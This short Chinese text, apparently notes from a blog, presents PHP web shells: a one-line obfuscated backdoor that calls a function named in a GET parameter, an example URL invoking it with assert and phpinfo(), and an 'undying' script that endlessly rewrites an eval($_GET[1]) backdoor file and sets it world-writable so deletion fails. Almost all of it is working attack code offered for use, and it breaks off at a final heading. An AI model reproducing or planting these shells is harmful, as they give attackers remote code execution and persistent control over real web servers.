簡潔的變形馬

<?php @$_=$_GET[1].@$_($_GET[2])?>

利用方式

http://xxx.com/a.php?1=assert&2=phpinfo();

不死馬

<?php
    set_time_limit(0);
    ignore_user_abort(true);

    $file = ‘demo.php‘;
    $shell = ‘<?php eval($_GET[1]);?>‘;

    while(1){
        file_put_contents($file, $shell);
        
 
system("chmod 777 demo.php");
        usleep(50);
    }
?>

使用頁面訪問這個木馬就會瘋狂產生不死馬，刪不死馬刪不掉，立刻生成，更惡心的是，就算

把制造不死馬的木馬刪了，只要頁面沒關閉，一樣會產生不死馬。

變形的一句話木馬